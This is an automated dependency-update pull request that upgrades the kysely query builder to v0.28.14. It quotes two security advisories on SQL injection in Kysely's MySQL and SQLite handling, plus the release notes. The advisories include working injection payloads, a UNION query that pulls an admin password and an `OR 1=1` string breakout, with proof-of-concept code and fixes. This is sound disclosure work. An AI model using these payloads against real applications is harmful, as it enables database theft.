Update dependency kysely to v0.28.14 [SECURITY]

[renovate]

This PR contains the following updates:

Package	Change	Age	Confidence
kysely (source)	0.28.11 → 0.28.14

GitHub Vulnerability Alerts

CVE-2026-32763

Summary

Kysely through 0.28.11 has a SQL injection vulnerability in JSON path compilation for MySQL and SQLite dialects. The visitJSONPathLeg() function appends user-controlled values from .key() and .at() directly into single-quoted JSON path string literals ('$.key') without escaping single quotes. An attacker can break out of the JSON path string context and inject arbitrary SQL.

This is inconsistent with sanitizeIdentifier(), which properly doubles delimiter characters for identifiers — both are non-parameterizable SQL constructs requiring manual escaping, but only identifiers are protected.

Details

visitJSONPath() wraps JSON path in single quotes ('$...'), and visitJSONPathLeg() appends each key/index value via this.append(String(node.value)) with no sanitization:

// dist/cjs/query-compiler/default-query-compiler.js
visitJSONPath(node) {
    if (node.inOperator) {
        this.visitNode(node.inOperator);
    }
    this.append("'$");
    for (const pathLeg of node.pathLegs) {
        this.visitNode(pathLeg);        // Each leg appended without escaping
    }
    this.append("'");
}
visitJSONPathLeg(node) {
    const isArrayLocation = node.type === 'ArrayLocation';
    this.append(isArrayLocation ? '[' : '.');
    this.append(String(node.value));    // <-- NO single quote escaping
    if (isArrayLocation) {
        this.append(']');
    }
}

Contrast with sanitizeIdentifier() in the same file, which properly doubles delimiter characters:

sanitizeIdentifier(identifier) {
    const leftWrap = this.getLeftIdentifierWrapper();
    const rightWrap = this.getRightIdentifierWrapper();
    let sanitized = '';
    for (const c of identifier) {
        sanitized += c;
        if (c === leftWrap) { sanitized += leftWrap; }
        else if (c === rightWrap) { sanitized += rightWrap; }
    }
    return sanitized;
}

Both identifiers and JSON path keys are non-parameterizable SQL constructs that require manual escaping. Identifiers are protected; JSON path values are not.

PostgreSQL is not affected. The branching happens in JSONPathBuilder.#createBuilderWithPathLeg() (json-path-builder.js):

• MySQL/SQLite operators (->$, ->>$) produce a JSONPathNode traversal → visitJSONPathLeg() concatenates the key directly into a single-quoted JSON path string ('$.key') — vulnerable, no escaping.
• PostgreSQL operators (->, ->>) produce a JSONOperatorChainNode traversal → ValueNode.createImmediate(value) → appendImmediateValue() → appendStringLiteral() → sanitizeStringLiteral() doubles single quotes (' → ''), generating chained operators ("col"->>'city'). Injection payload becomes a harmless string literal.

Same .key() call, different internal node creation depending on the operator type. The PostgreSQL path reuses the existing string literal sanitization; the MySQL/SQLite JSON path construction bypasses it entirely.

PoC

End-to-end proof against a real SQLite database (Kysely 0.28.11 + better-sqlite3):

const Database = require('better-sqlite3');
const { Kysely, SqliteDialect } = require('kysely');

const sqliteDb = new Database(':memory:');
sqliteDb.exec(`
  CREATE TABLE users (id INTEGER PRIMARY KEY, name TEXT, profile TEXT);
  INSERT INTO users VALUES (1, 'alice', '{"city": "Seoul", "age": 30}');
  INSERT INTO users VALUES (2, 'bob', '{"city": "Tokyo", "age": 25}');
  CREATE TABLE admin (id INTEGER PRIMARY KEY, password TEXT);
  INSERT INTO admin VALUES (1, 'SUPER_SECRET_PASSWORD_123');
`);

const db = new Kysely({ dialect: new SqliteDialect({ database: sqliteDb }) });

async function main() {
  // Safe usage
  const safe = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key('city').as('city'))
    .execute();
  console.log("Safe:", safe);
  // [ { city: 'Seoul' }, { city: 'Tokyo' } ]

  // Injection via .key() — exfiltrate admin password
  const malicious = `city' as "city" from "users" UNION SELECT password FROM admin -- `;
  const attack = await db
    .selectFrom('users')
    .select(eb => eb.ref('profile', '->>$').key(malicious).as('city'))
    .execute();
  console.log("Injected:", attack);
  // [ { city: 'SUPER_SECRET_PASSWORD_123' }, { city: 'Seoul' }, { city: 'Tokyo' } ]
}
main();

The payload includes as "city" from "users" to complete the first SELECT before the UNION. The -- comments out the trailing ' as "city" from "users" appended by Kysely.

Generated SQL:

select "profile"->>'$.city' as "city" from "users" UNION SELECT password FROM admin -- ' as "city" from "users"

Realistic application pattern

app.get('/api/products', async (req, res) => {
  const field = req.query.field || 'name';
  const products = await db
    .selectFrom('products')
    .select(eb => eb.ref('metadata', '->>$').key(field).as('value'))
    .execute();
  res.json(products);
});

Dynamic JSON field selection is a common pattern in search APIs, GraphQL resolvers, and admin panels that expose JSON column data.

Suggested fix

Escape single quotes in JSON path values within visitJSONPathLeg(), similar to how sanitizeIdentifier() doubles delimiter characters. Alternatively, validate that JSON path keys contain only safe characters. The direction of the fix is left to the maintainers.

Impact

SQL Injection (CWE-89) — An attacker can inject arbitrary SQL via crafted JSON key names passed to .key() or .at(), enabling UNION-based data exfiltration from any database table. MySQL and SQLite dialects are affected. PostgreSQL is not affected.

CVE-2026-33468

Summary

Kysely's DefaultQueryCompiler.sanitizeStringLiteral() only escapes single quotes by doubling them (' → '') but does not escape backslashes. When used with the MySQL dialect (where NO_BACKSLASH_ESCAPES is OFF by default), an attacker can use a backslash to escape the trailing quote of a string literal, breaking out of the string context and injecting arbitrary SQL. This affects any code path that uses ImmediateValueTransformer to inline values — specifically CreateIndexBuilder.where() and CreateViewBuilder.as().

Details

The root cause is in DefaultQueryCompiler.sanitizeStringLiteral():

src/query-compiler/default-query-compiler.ts:1819-1821

protected sanitizeStringLiteral(value: string): string {
  return value.replace(LIT_WRAP_REGEX, "''")
}

Where LIT_WRAP_REGEX is defined as /'/g (line 121). This only doubles single quotes — it does not escape backslash characters.

The function is called from appendStringLiteral() which wraps the sanitized value in single quotes:

src/query-compiler/default-query-compiler.ts:1841-1845

protected appendStringLiteral(value: string): void {
  this.append("'")
  this.append(this.sanitizeStringLiteral(value))
  this.append("'")
}

This is reached when visitValue() encounters an immediate value node (line 525-527), which is created by ImmediateValueTransformer used in CreateIndexBuilder.where():

src/schema/create-index-builder.ts:266-278

where(...args: any[]): any {
  const transformer = new ImmediateValueTransformer()

  return new CreateIndexBuilder({
    ...this.#props,
    node: QueryNode.cloneWithWhere(
      this.#props.node,
      transformer.transformNode(
        parseValueBinaryOperationOrExpression(args),
        this.#props.queryId,
      ),
    ),
  })
}

The MysqlQueryCompiler (at src/dialect/mysql/mysql-query-compiler.ts:6-75) extends DefaultQueryCompiler but does not override sanitizeStringLiteral, inheriting the backslash-unaware implementation.

Exploitation mechanism:

In MySQL with the default NO_BACKSLASH_ESCAPES=OFF setting, the backslash character (\) acts as an escape character inside string literals. Given input \' OR 1=1 --:

1. sanitizeStringLiteral doubles the quote: \'' OR 1=1 --
2. appendStringLiteral wraps: '\'' OR 1=1 --'
3. MySQL interprets \' as an escaped (literal) single quote, so the string content is ' and the second ' closes the string
4. OR 1=1 -- is parsed as SQL

PoC

import { Kysely, MysqlDialect } from 'kysely'
import { createPool } from 'mysql2'

interface Database {
  orders: {
    id: number
    status: string
    order_nr: string
  }
}

const db = new Kysely<Database>({
  dialect: new MysqlDialect({
    pool: createPool({
      host: 'localhost',
      database: 'test',
      user: 'root',
      password: 'password',
    }),
  }),
})

// Simulates user-controlled input reaching CreateIndexBuilder.where()
const userInput = "\\' OR 1=1 --"

const query = db.schema
  .createIndex('orders_status_index')
  .on('orders')
  .column('status')
  .where('status', '=', userInput)

// Compile to see the generated SQL
const compiled = query.compile()
console.log(compiled.sql)
// Output: create index `orders_status_index` on `orders` (`status`) where `status` = '\'' OR 1=1 --'
//
// MySQL parses this as:
//   WHERE `status` = '\'   ← string literal containing a single quote
//   ' OR 1=1 --'          ← injected SQL (OR 1=1), comment eats trailing quote

To verify against a live MySQL instance:

-- Setup
CREATE DATABASE test;
USE test;
CREATE TABLE orders (id INT PRIMARY KEY, status VARCHAR(50), order_nr VARCHAR(50));
INSERT INTO orders VALUES (1, 'active', '001'), (2, 'cancelled', '002');

-- The compiled query from Kysely with injected payload:
-- This returns all rows instead of filtering by status
SELECT * FROM orders WHERE status = '\'' OR 1=1 -- ';

Impact

• SQL Injection: An attacker who controls values passed to CreateIndexBuilder.where() or CreateViewBuilder.as() can inject arbitrary SQL statements when the application uses the MySQL dialect.
• Data Exfiltration: Injected SQL can read arbitrary data from the database using UNION-based or subquery-based techniques.
• Data Modification/Destruction: Stacked queries or subqueries can modify or delete data.
• Authentication Bypass: If index creation or view definitions are influenced by user input in application logic, the injection can alter query semantics to bypass access controls.

The attack complexity is rated High (AC:H) because exploitation requires an application to pass untrusted user input into DDL schema builder methods, which is an atypical but not impossible usage pattern. The CreateIndexBuilder.where() docstring (line 247) notes "Parameters are always sent as literals due to database restrictions" without warning about the security implications.

Recommended Fix

MysqlQueryCompiler should override sanitizeStringLiteral to escape backslashes before doubling quotes:

src/dialect/mysql/mysql-query-compiler.ts

const LIT_WRAP_REGEX = /'/g
const BACKSLASH_REGEX = /\\/g

export class MysqlQueryCompiler extends DefaultQueryCompiler {
  // ... existing overrides ...

  protected override sanitizeStringLiteral(value: string): string {
    // Escape backslashes first (\ → \\), then double single quotes (' → '')
    // MySQL treats backslash as an escape character by default (NO_BACKSLASH_ESCAPES=OFF)
    return value.replace(BACKSLASH_REGEX, '\\\\').replace(LIT_WRAP_REGEX, "''")
  }
}

Alternatively, the library could use parameterized queries for these DDL builders where the database supports it, avoiding string literal interpolation entirely. For databases that don't support parameters in DDL statements, the dialect-specific compiler must escape all characters that have special meaning in that dialect's string literal syntax.

---

Release Notes

kysely-org/kysely (kysely)

v0.28.14: 0.28.14

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

MySQL 🐬

• fix: string literals are injectable on MySQL when backslash escapes (\\') are used. by @​igalklebanov in #​1754 & 054e801

📖 Documentation

• Add Node SQLite link to dialects documentation by @​wolfie in #​1709 & #​1755
• docs: document immediate value behavior in case() then/else by @​alexchenai in #​1753

📦 CICD & Tooling

• bump deno kysely dependency. by @​igalklebanov in 9e02f3b

⚠️ Breaking Changes

🐤 New Contributors

• @​wolfie made their first contribution in #​1709
• @​alexchenai made their first contribution in #​1753

Full Changelog: kysely-org/kysely@v0.28.13...v0.28.14

v0.28.13: 0.28.13

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

• fix: missing sideEffects: false in root package.json resulting in bigger bundles in various bundlers. by @​igalklebanov in #​1746
• fix: Insertable allows non-objects when a table has no required columns. by @​igalklebanov in #​1747

PostgreSQL 🐘

• fix: ON COMMIT clause not being output when using .as(query) in CREATE TABLE queries. by @​igalklebanov in #​1748

📖 Documentation

📦 CICD & Tooling

• chore: fix node tests tsconfig.json for TypeScript native. by @​igalklebanov in #​1749
• chore: bump dependencies. by @​igalklebanov in #​1750
• chore: bump GitHub actions. by @​igalklebanov in #​1751

⚠️ Breaking Changes

🐤 New Contributors

Full Changelog: kysely-org/kysely@v0.28.12...v0.28.13

v0.28.12: 0.28.12

Compare Source

Hey 👋

A small batch of bug fixes. Please report any issues. 🤞😰🤞

🚀 Features

🐞 Bugfixes

• fix: eb.ref(col, '->$').key(key) is injectable. by @​igalklebanov in #​1727

MySQL 🐬

• feat(mysql): Update types for mysql2@​v3.18.2 support #​1722 by @​fenichelar in #​1729

📖 Documentation

📦 CICD & Tooling

• chore: bump dependencies. by @​igalklebanov in #​1732
• chore: bump dependencies. by @​igalklebanov in #​1742

⚠️ Breaking Changes

🐤 New Contributors

• @​fenichelar made their first contribution in #​1729

Full Changelog: kysely-org/kysely@v0.28.11...v0.28.12

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